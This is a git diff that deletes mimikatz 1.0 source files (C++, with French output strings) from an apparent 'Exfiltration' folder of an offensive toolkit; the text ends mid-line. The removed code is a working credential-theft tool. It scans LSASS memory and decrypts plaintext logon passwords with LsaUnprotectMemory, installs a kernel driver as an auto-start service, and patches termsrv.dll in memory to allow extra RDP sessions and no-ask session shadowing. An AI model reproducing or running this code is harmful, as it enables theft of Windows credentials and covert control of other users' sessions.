- { - wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS); - wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS); - wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory); - wstring rUserName = (isDomainFirst ? domainName : userName); - wstring rDomainName = (isDomainFirst ? userName : domainName); - - if(justSecurity) - { - if(!pos) - (*outputStream) << password; - else - (*outputStream) << endl << - L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }"; - } - else - { - if(!pos) - (*outputStream) << endl << - L"\t * Utilisateur : " << rUserName << endl << - L"\t * Domaine : " << rDomainName << endl << - L"\t * Mot de passe : " << password; - else - (*outputStream) << endl << - L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl << - L"\t Domaine : " << rDomainName << endl << - L"\t Mot de passe : " << password; - } - } - } else (*outputStream) << L"n.t. (LUID KO)"; -} - -bool mod_mimikatz_sekurlsa::getLogonData(vector * mesArguments, vector> * mesProviders) -{ - PLUID sessions; - ULONG count; - - if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) - { - for (ULONG i = 0; i < count ; i++) - { - PSECURITY_LOGON_SESSION_DATA sessionData = NULL; - if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) - { - if(sessionData->LogonType != Network) - { - (*outputStream) << endl << - L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << - L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << - L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << - L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; - - for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) - { - (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t'; - monProvider->first(&sessions[i], mesArguments->empty()); - (*outputStream) << endl; - } - } - LsaFreeReturnBuffer(sessionData); - } - else (*outputStream) << L"Erreur : Impossible d\'obtenir les donnes de session" << endl; - } - LsaFreeReturnBuffer(sessions); - } - else (*outputStream) << L"Erreur : Impossible d\'numerer les sessions courantes" << endl; - - return true; -} - -bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer) -{ - bool resultat = false; - BYTE * monBuffer = NULL; - PBYTE * leBuffer = buffer ? buffer : &monBuffer; - if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS)) - { - int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS; - if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0)) - { - if(dstChaine) - dstChaine->assign(reinterpret_cast(*leBuffer), maChaine->Length / sizeof(wchar_t)); - } - } - if(monBuffer) - delete[] monBuffer; - return resultat; -} - -bool mod_mimikatz_sekurlsa::searchPasswords(vector * arguments) -{ - if(searchLSASSDatas()) - { - if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) - { -#ifdef _M_X64 - PBYTE MmSystemRangeStart = reinterpret_cast(0xffff080000000000); -#elif defined _M_IX86 - PBYTE MmSystemRangeStart = reinterpret_cast(0x80000000); -#endif - ULONG maTaille = 0; - NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille); - - DWORD nbPossible = 0; - for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; ) - { - MEMORY_BASIC_INFORMATION mesInfos; - if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0) - { - if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE)) - { - UNICODE_STRING donnees[3]; - for(PBYTE pZone = reinterpret_cast(mesInfos.BaseAddress); pZone < (reinterpret_cast(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD)) - { - if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS)) - { - if( - (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) && - (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) && - (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer) - ) - { - wstring user, domain, password; - BYTE * bPassword = NULL; - if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword)) - { - if(bPassword) - { - mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength); - password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false)); - } - (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl; - } - - if(bPassword) - delete[] bPassword; - } - } - } - } - pMemoire += mesInfos.RegionSize; - } - else break; - } - } - } - else (*outputStream) << L"Donnes LSASS en erreur" << endl; - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h deleted file mode 100644 index aa05d581..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h +++ /dev/null @@ -1,64 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_memory.h" -#include "mod_process.h" -#include "mod_text.h" -#include "mod_system.h" -#include -#include "secpkg.h" - -#include "LSA Keys/keys_nt5.h" -#include "LSA Keys/keys_nt6.h" - -#include "Security Packages/msv1_0.h" -#include "Security Packages/tspkg.h" -#include "Security Packages/wdigest.h" -#include "Security Packages/kerberos.h" -#include "Security Packages/livessp.h" -#include "Security Packages/ssp.h" - -class mod_mimikatz_sekurlsa -{ -public: - typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity); -private: - typedef struct _KIWI_MODULE_PKG_LSA { - wchar_t * moduleName; - wchar_t * simpleName; - PFN_ENUM_BY_LUID enumFunc; - mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry; - _KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {} - } KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA; - - static bool lsassOK; - static vector> GLOB_ALL_Providers; - static vector mesModules; - - static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); - static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL); - - static bool getLogonPasswords(vector * arguments); - static bool searchPasswords(vector * arguments); -public: - static HANDLE hLSASS; - static HMODULE hLsaSrv; - static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV; - static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; - - static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind); - static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); - - static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL); - static bool getLogonData(vector * mesArguments, vector> * mesProviders); - - static bool loadLsaSrv(); - static bool unloadLsaSrv(); - static bool searchLSASSDatas(); - - static vector getMimiKatzCommands(); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp deleted file mode 100644 index 31fb6b56..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp +++ /dev/null @@ -1,191 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_service.h" -#include "..\global.h" - -vector mod_mimikatz_service::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Dmarre un service ou pilote")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrte un service ou pilote")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou dmarre le pilote mimikatz")); - return monVector; -} - -bool mod_mimikatz_service::start(vector * arguments) -{ - (*outputStream) << L"Dmarrage de \'"; - return genericFunction(mod_service::start, arguments); -} - -bool mod_mimikatz_service::stop(vector * arguments) -{ - (*outputStream) << L"Arrt de \'"; - return genericFunction(mod_service::stop, arguments); -} - -bool mod_mimikatz_service::remove(vector * arguments) -{ - (*outputStream) << L"Suppression de \'"; - return genericFunction(mod_service::remove, arguments); -} - -bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector * arguments) -{ - if(!arguments->empty()) - { - (*outputStream) << arguments->front() << L"\' : "; - if(function(&arguments->front(), NULL)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"(null)\' - KO ; Nom de service manquant" << endl; - - return true; -} - - -bool mod_mimikatz_service::list(vector * arguments) -{ - bool services_fs_drivers = true; - bool services = false; - bool fs = false; - bool drivers = false; - - bool allstate = true; - bool running = false; - bool stopped = false; - - vector * vectorServices = new vector(); - if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front()))) - { - for(vector::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++) - { - if( - ( - (services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) || - (fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) || - (drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) || - (services_fs_drivers) - ) - && - ( - (running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) || - (stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) || - (allstate) - ) - ) - { - if(monService->ServiceStatusProcess.dwProcessId != 0) - (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId; - (*outputStream) << L'\t'; - - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS) - (*outputStream) << L"INTERACTIVE_PROCESS" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER) - (*outputStream) << L"FILE_SYSTEM_DRIVER" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER) - (*outputStream) << L"KERNEL_DRIVER" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS) - (*outputStream) << L"WIN32_OWN_PROCESS" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS) - (*outputStream) << L"WIN32_SHARE_PROCESS" << L'\t'; - - switch(monService->ServiceStatusProcess.dwCurrentState) - { - case SERVICE_CONTINUE_PENDING: - (*outputStream) << L"CONTINUE_PENDING"; - break; - case SERVICE_PAUSE_PENDING: - (*outputStream) << L"PAUSE_PENDING"; - break; - case SERVICE_PAUSED: - (*outputStream) << L"PAUSED"; - break; - case SERVICE_RUNNING: - (*outputStream) << L"RUNNING"; - break; - case SERVICE_START_PENDING: - (*outputStream) << L"START_PENDING"; - break; - case SERVICE_STOP_PENDING: - (*outputStream) << L"STOP_PENDING"; - break; - case SERVICE_STOPPED: - (*outputStream) << L"STOPPED"; - break; - } - - (*outputStream) << L'\t' << - monService->serviceName << L'\t' << - monService->serviceDisplayName << - endl; - } - } - } - else - (*outputStream) << L"mod_service::getList ; " << mod_system::getWinError() << endl; - - delete vectorServices; - return true; -} - -bool mod_mimikatz_service::mimikatz(vector * arguments) -{ - if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) - { - SC_HANDLE monService = NULL; - if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START))) - { - if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) - { - (*outputStream) << L"[*] Pilote mimikatz non prsent, installation." << endl; - - wstring monPilote = L"mimikatz.sys"; - wstring monPiloteComplet = L""; - if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet)) - { - bool fileExist = false; - if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist) - { - if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL)) - { - (*outputStream) << L"[+] Cration du pilote : OK" << endl; - if(mod_secacl::addWorldToMimikatz(&monService)) - (*outputStream) << L"[+] Attribution des droits : OK"; - else - (*outputStream) << L"[-] Attribution des droits : KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"[!] Impossible de crer le pilote ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[*] Pilote mimikatz dj prsent" << endl; - - if(monService) - { - if(StartService(monService, 0, NULL) != 0) - (*outputStream) << L"[+] Dmarrage du pilote : OK"; - else - (*outputStream) << L"[-] Dmarrage du pilote : KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - CloseServiceHandle(monService); - } - - CloseServiceHandle(monManager); - } - else (*outputStream) << L"[!] Impossible d\'ouvrir le gestionnaire de service pour cration ; " << mod_system::getWinError() << endl; - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h deleted file mode 100644 index 368066f8..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_service.h" -#include - -class mod_mimikatz_service -{ -private: - typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName); - static bool genericFunction(PMOD_SERVICE_FUNC function, vector * arguments); -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - - static bool start(vector * arguments); - static bool suspend(vector * arguments); - static bool resume(vector * arguments); - static bool stop(vector * arguments); - - static bool query(vector * arguments); - - static bool add(vector * arguments); - static bool remove(vector * arguments); - static bool control(vector * arguments); - - static bool mimikatz(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp deleted file mode 100644 index e785e0d8..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_standard.h" -#include "..\global.h" - -vector mod_mimikatz_standard::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'cran (ne fonctionne pas en xecution distante, via PsExec par exemple)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la rponse la Grande Question sur la Vie, l\'Univers et le Reste")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes")); - //monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus tre l en release...")); - return monVector; -} - -/*bool mod_mimikatz_standard::test(vector * arguments) -{ - return true; -}*/ - -bool mod_mimikatz_standard::version(vector * arguments) -{ - (*outputStream) << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl; - return true; -} - -bool mod_mimikatz_standard::clearScreen(vector * arguments) -{ - HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); - COORD coord = {0, 0}; - DWORD count; - - CONSOLE_SCREEN_BUFFER_INFO csbi; - GetConsoleScreenBufferInfo(hStdOut, &csbi); - - FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count); - SetConsoleCursorPosition(hStdOut, coord); - - return true; -} - -bool mod_mimikatz_standard::exit(vector * arguments) -{ - return false; -} - -bool mod_mimikatz_standard::reponse(vector * arguments) -{ - (*outputStream) << L"La rponse est 42." << endl; - return true; -} - -bool mod_mimikatz_standard::cite(vector * arguments) -{ - (*outputStream) << L"I edit the world in HEX" << endl; - return true; -} - -bool mod_mimikatz_standard::sleep(vector * arguments) -{ - DWORD dwMilliseconds = 1000; - if(!arguments->empty()) - { - wstringstream z; - z << arguments->front(); z >> dwMilliseconds; - } - (*outputStream) << L"Sleep : " << dwMilliseconds << L" ms... " << flush; - Sleep(dwMilliseconds); - (*outputStream) << L"Fin !" << endl; - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h deleted file mode 100644 index dab1350f..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h +++ /dev/null @@ -1,23 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -class mod_mimikatz_standard -{ -public: - static vector getMimiKatzCommands(); - - static bool clearScreen(vector * arguments); - static bool exit(vector * arguments); - static bool cite(vector * arguments); - static bool reponse(vector * arguments); - static bool version(vector * arguments); - static bool sleep(vector * arguments); - static bool test(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp deleted file mode 100644 index 90929b2a..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp +++ /dev/null @@ -1,40 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_system.h" -#include "..\global.h" - -vector mod_mimikatz_system::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant")); - return monVector; -} - -bool mod_mimikatz_system::user(vector * arguments) -{ - wstring monUser; - - if(mod_system::getUserName(&monUser)) - (*outputStream) << L"Utilisateur : " << monUser << endl; - else - (*outputStream) << L"mod_system::getUserName : " << mod_system::getWinError(); - - return true; -} - -bool mod_mimikatz_system::computer(vector * arguments) -{ - wstring monComputer; - - if(mod_system::getComputerName(&monComputer)) - (*outputStream) << L"Ordinateur : " << monComputer << endl; - else - (*outputStream) << L"mod_system::getComputerName : " << mod_system::getWinError(); - - return true; -} - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h deleted file mode 100644 index bd96a011..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h +++ /dev/null @@ -1,17 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include - -class mod_mimikatz_system -{ -public: - static vector getMimiKatzCommands(); - static bool user(vector * arguments); - static bool computer(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp deleted file mode 100644 index 9a071b11..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp +++ /dev/null @@ -1,291 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_terminalserver.h" -#include "..\global.h" - -// http://msdn.microsoft.com/library/aa383464.aspx -vector mod_mimikatz_terminalserver::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau distance pour dpasser 2 connexions simultanes")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'tat de la prise de contrle des sessions RDP")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'tat de la prise de contrle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)")); - return monVector; -} - -bool mod_mimikatz_terminalserver::sessions(vector * arguments) -{ - vector mesSessions; - - if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL))) - { - (*outputStream) << L"SessId\tEtat\tstrEtat" << endl; - for(vector::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' << - setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' << - setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' << - maSession->sessionName << - endl; - } - } - else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; - return true; -} - - -bool mod_mimikatz_terminalserver::processes(vector * arguments) -{ - vector mesProcess; - - if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL))) - { - (*outputStream) << L"PID\tSessId\tUtilisateur" << endl; - for(vector::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' << - setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' << - monProcess->processName << - endl; - } - } - else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; - return true; -} - -bool mod_mimikatz_terminalserver::viewshadow(vector * arguments) -{ - DWORD session = 0; - PDWORD ptrSession = NULL; - - if(arguments->size() == 1) - { - wstringstream resultat(arguments->front()); - resultat >> session; - ptrSession = &session; - } - - listAndOrModifySession(ptrSession); - return true; -} - -bool mod_mimikatz_terminalserver::modifyshadow(vector * arguments) -{ - DWORD session = 0; - PDWORD ptrSession = NULL; - - wstring strState; - DWORD newState = 0; - - if(arguments->size() == 1) - { - strState.assign(arguments->front()); - } - else if(arguments->size() == 2) - { - wstringstream resultat(arguments->front()); - resultat >> session; - ptrSession = &session; - - strState.assign(arguments->back()); - } - - if(!strState.empty()) - { - bool strError = false; - if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0; - else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1; - else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2; - else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3; - else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4; - else strError = true; - - if(!strError) - listAndOrModifySession(ptrSession, &newState); - else - (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl; - } - - return true; -} - -bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState) -{ - bool reussite = false; - - vector mesOS; - mesOS.push_back(mod_patch::WINDOWS_2003_____x86); - mesOS.push_back(mod_patch::WINDOWS_2003_____x64); - mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); - mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64); - - if(mod_patch::checkVersion(&mesOS)) - { -#ifdef _M_X64 - BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22}; - long offsetToWin = -4; -#elif defined _M_IX86 - BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15}; - long offsetToWin = -6; -#endif - mod_service::KIWI_SERVICE_STATUS_PROCESS monService; - wstring serviceName = L"TermService"; - wstring moduleName = L"termsrv.dll"; - - if(mod_service::getUniqueForName(&monService, &serviceName)) - { - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId)) - { - PBYTE baseAddr = monModule.modBaseAddr; - DWORD taille = monModule.modBaseSize; - - if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId)) - { - PBYTE addrPattern = NULL; - if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle)) - { - PBYTE addrWinstationListHead = NULL; - - bool resInterm = false; - -#ifdef _M_X64 - long offSet = 0; - resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&offSet), sizeof(long), processHandle); - addrWinstationListHead = addrPattern + offSet; -#elif defined _M_IX86 - resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&addrWinstationListHead), sizeof(PBYTE), processHandle); -#endif - if(resInterm) - { - PBYTE addrWinstation = addrWinstationListHead; - do - { - if(mod_memory::readMemory(addrWinstation, reinterpret_cast(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead) - { - KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION(); - if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast(maSession), sizeof(KIWI_TS_SESSION), processHandle)) - { - if((!id) || (maSession->id == *id)) - { - (*outputStream) << L"@Winstation : " << addrWinstation << endl; - - (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl; - (*outputStream) << L"\tid : " << maSession->id << endl; - (*outputStream) << L"\tname : " << maSession->name << endl; - (*outputStream) << L"\tsname : " << maSession->sname << endl; - (*outputStream) << L"\ttype : " << maSession->type << endl; - (*outputStream) << L"\tshadow : 